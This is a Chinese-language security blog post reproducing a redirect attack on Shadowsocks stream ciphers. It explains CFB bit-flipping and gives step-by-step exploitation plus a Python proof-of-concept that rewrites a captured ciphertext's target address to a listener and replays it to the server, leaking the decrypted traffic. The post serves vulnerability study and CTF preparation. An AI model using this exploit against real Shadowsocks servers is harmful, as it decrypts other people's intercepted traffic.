Sissel's blog

【漏洞复现】Redirect attack on Shadowsocks stream ciphers

字数统计: 1.2k阅读时长: 5 min
2021/04/20 Share

给出了一种重放的思路,在满足两个条件:【截获了ss-local to ss-server的流量、shadowsocks服务选择stream ciphers且目前仍在运行】的情况下,可以解密许多类型的流量,给出了http和https的例子。后面会再尝试复现一下思路相同的,defcon29的 PERSONAL PROXY题目。

项目地址

彭博士太强了= =

Zhiniang Peng from Qihoo 360 Core Security
https://github.com/edwardz246003/shadowsocks

有一篇非常详细的分析,看他甚至比看懂我的强:
https://github.com/net4people/bbs/issues/24

基本知识

加密方式

shadowsocks目前支持的加密方式

其中stream ciphers有

Rc4-md5, salsa20,chacha20,chacha-ietf, aes-ctr, bf-cfb, camellia-cfb, aes-cfb

文章中选取了 aes-256-cfb 作为demo。

ss协议

我们仅需要了解建立tcp连接的前半段就ok了,更加详细的可以参考这个:https://www.ichenxiaoyu.com/ss/

建立tcp连接
[ target address ][ payload ]

target address具体的信令,类似于socks5
[ 1-byte type ][ variable-length host ][ 2-byte port ]
0x01 0xc0b00101 0x00b8

The following address types are defned:
0x01: host is a 4-byte IPv4 address.
0x03: host is a variable length string, starting with a 1-byte length, followed by up to
255-byte domain name.
0x04: host is a 16-byte IPv6 address
The port number is a 2-byte big-endian unsigned integer.

举例,客户端要发一个经过shadowsocks的http请求的时候,构造的包的plaintext就应该长这样:

1
01 192.168.1.1 45761 GET /uri HTTP/1.1

ss-local构造完,发送给ss-server的密文就是(忽略掉字节数):

1
2
3
4
5
iv
c0 01 192.168.1.1 45761 GET /u
c1 ri HTTP/1.1\r\n balabala
c2
c3

cfb分组

根据cfb的解密方式我们可以发现,假设密文分组,c0、c1,当我修改密文分组c1的时候,我可以影响分组0的解密结果。并且修改c1不具有传播性,仅会使分组1的解密结果为乱码。

利用方法

假设

ss-server:192.168.1.8:34549
监听一个端口,用来接收解密流量:10.10.10.10:1337
用户访问的网站是通过ipv4地址访问的,ipv6地址理论上也可以,而直接使用

利用

利用方式可以简述为:

  1. 找到一个http请求(其实就是抓大量的tcp连接,里面总会有符合要求的),抓到ss-local与ss-server交互的tcp连接的流量,我们需要其中http的响应包加密后的包
  2. http请求的response开头一定是 HTTP/1.1,根据cfb的分组模式,可以通过异或,在破坏c1分组的解密结果条件下,可以任意的修改c0分组解析结果。
  3. 监听一个端口,准备接受解密的流量。例如 127.0.0.1 9999,按照ss的方式构造成信令:\x01\x7f\x00\x00\x01\x27\x0f 就是 \x01 127.0.0.1 9999
  4. 找到http响应包加密后的结果,将其第一个分组的前七个字节(第零个分组为iv),与 上面的信令和HTTP/1. 进行异或,把得到的新密文,直接丢给ss-server监听的端口进行重放
  5. 在恶意的端口处收到解密结果。

其中第四点是最重要的,核心为把密文丢给ss-server,让服务端解密并把明文发送出来,可以理解成特殊的 选择明文攻击

调试的记录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# coding:utf-8

def xor(s1,s2):
n=len(s1)
r=''
for i in range(n):
r+=chr(ord(s1[i])^ord(s2[i]))
return r
method='aes-256-cfb'
def up(c):
l=16-len(c)%16
c=c+'\x00'*l
return c
#c is a capture http packet. 过长,已截断
c='3fee10c03db9d03074ecd3e550644be7d68e241a1dede8d3a202012da462c4a1743feffd5856264ce56e453026dd391c8ad6d638f6b77285597de92e5c247306dd02aa5dd767d70fb6c0b0fd48531c4d1bf5ceb99c1e8d6ecd72a4f08c20d0251ddc6cf42fef59c158e5830faf7f50f0c4674da516cc13e5f9d10f8a623617b4f34e8187e6c3d7ec8389450df6f95e88ef34b5cadc14a9e554df3bf53f12647f7dd4ae65157015244cdaf7f6f516f3d5aaf4e8b91630b0d223f365b709b8639fc71dfa1a38a0f215cb1cf054752a7bbf4f20d93f2453abfc85f08c2a1c38dc10f3e002b43c61de6388c574cd033ba51abbf3048388a7e09b1f5c0829864cb7965a551fe47c5a98a7244af2b9d08f0ffa2e4244d6e7c092fb62029c8899f5842d7ae186e45f8dda9f965d540f3c14d326cdffbac4c899d602a455c71d28bc5e056760ed24420f58aae2462285e37acf85089bf28f302241097d5b02e609b6ea48d147f1677049d14a83f853074d95a3b3da8a44e0f140bea952515f95fa435fc39502661c1f7708f584288c83daa0e123bcb2d1bba6a96ce8a1e4a5616e24c9382a0bf8f602d4ca8c3dc0e4bbd57811767ae909aa4c04ad44e414ee68b876391993ee6cad2277b898cd959d8db872514f3bc8e3ad0c4420f43d24a7e7591a7512190d032e3a9f42dcb1e1dc61c2cb3a7b306f8e0cffac314f6425fa1d0051b7d20bb44cebcc45de3e2088f09c0121bdf3c8bd64a80df02c74f78d0ec8406c4cff6569d1fff42efb14fa47f8c76ca7a8fce758b0a5ea03ad37a8a1a5cb5a9a2807fa819aea3be69a89c064ad9b53cfbecd58cb552b6b807ae119092cc2e74ce5e22125ea2b899bd0e2cc67336d1c6aa1a6a0ef292f1216f88e11e114c9ecd932f41088510a794199d01f7f0974aeaa50c5b11b44513f69605367b53e985e565b9759b971e758064c62980bcddcacd613e66fadc2afaf0096bd232f63105370670fa3897473143125ef7ab5cbcaf276fd39d8932433e33517dd930deb018c0db6e25e6956d49d35b2ac39e0940c2209034fc9c376ab8df52fb1748838e610983ecaf52882c0fcc4c589626d6ed6eff1f76a20a3eebb36b3c8af1dcb6ad1618c121f6043473bba5c00ee52beedecf5dcb6ff4169bf7f0c5a05959b1cf8738f38db1ee80ece7e131576a5e74928e940335565d941f4a5597c4e5fe650084bbe3ea41bdbfef9042aaef5cbbaac47bd511a9d248b60af059c986e88931a0908870a53468672ce5327d9ea550e3ed29926ead0'
c=c.decode('hex')
c=up(c)
prefix_http='HTTP/1.'
targetIP = '\x01\x7f\x00\x00\x01\x27\x0f' # 127.0.0.1 9999
x=xor(prefix_http,targetIP)
y=c[16:16+7]
z=xor(x,y)
cipertext=c[0:16]+z+c[16+7:]
import socket
obj = socket.socket()
print ("begin\n")
obj.connect(("127.0.0.1",40623))
obj.send(cipertext)
buf=obj.recv(1024)

总结与其他

总结

我们可以扩展一下还有哪些包可以解析,理论上请求都不好解析。请求的数据是

1
address + payload

我们需要已知address的情况下,才能利用分组密码的翻转特性来进行重放和转发。

其他Response呢?大多数协议都会有固定的headers,有很大的可能可以解析,甚至可以写一个工具来进行常见的fuzz。

CTF中的题目

在defcon29的比赛中,遇到了PERSONAL PROXY这个题目,他的实现是shadowsocks里面套了一层socks5代理。而socks5代理具有明显的信令特征。经过一定的测信道分析可以完成这个题目,具体题解参照这里:

https://blog.soreatu.com/posts/writeup-for-billboard-and-personal-proxy-in-real-world-ctf-2020-2021/#socks5

CATALOG
  1. 1. 项目地址
  2. 2. 基本知识
    1. 2.1. 加密方式
    2. 2.2. ss协议
    3. 2.3. cfb分组
  3. 3. 利用方法
    1. 3.1. 假设
    2. 3.2. 利用
    3. 3.3. 调试的记录
  4. 4. 总结与其他
    1. 4.1. 总结
    2. 4.2. CTF中的题目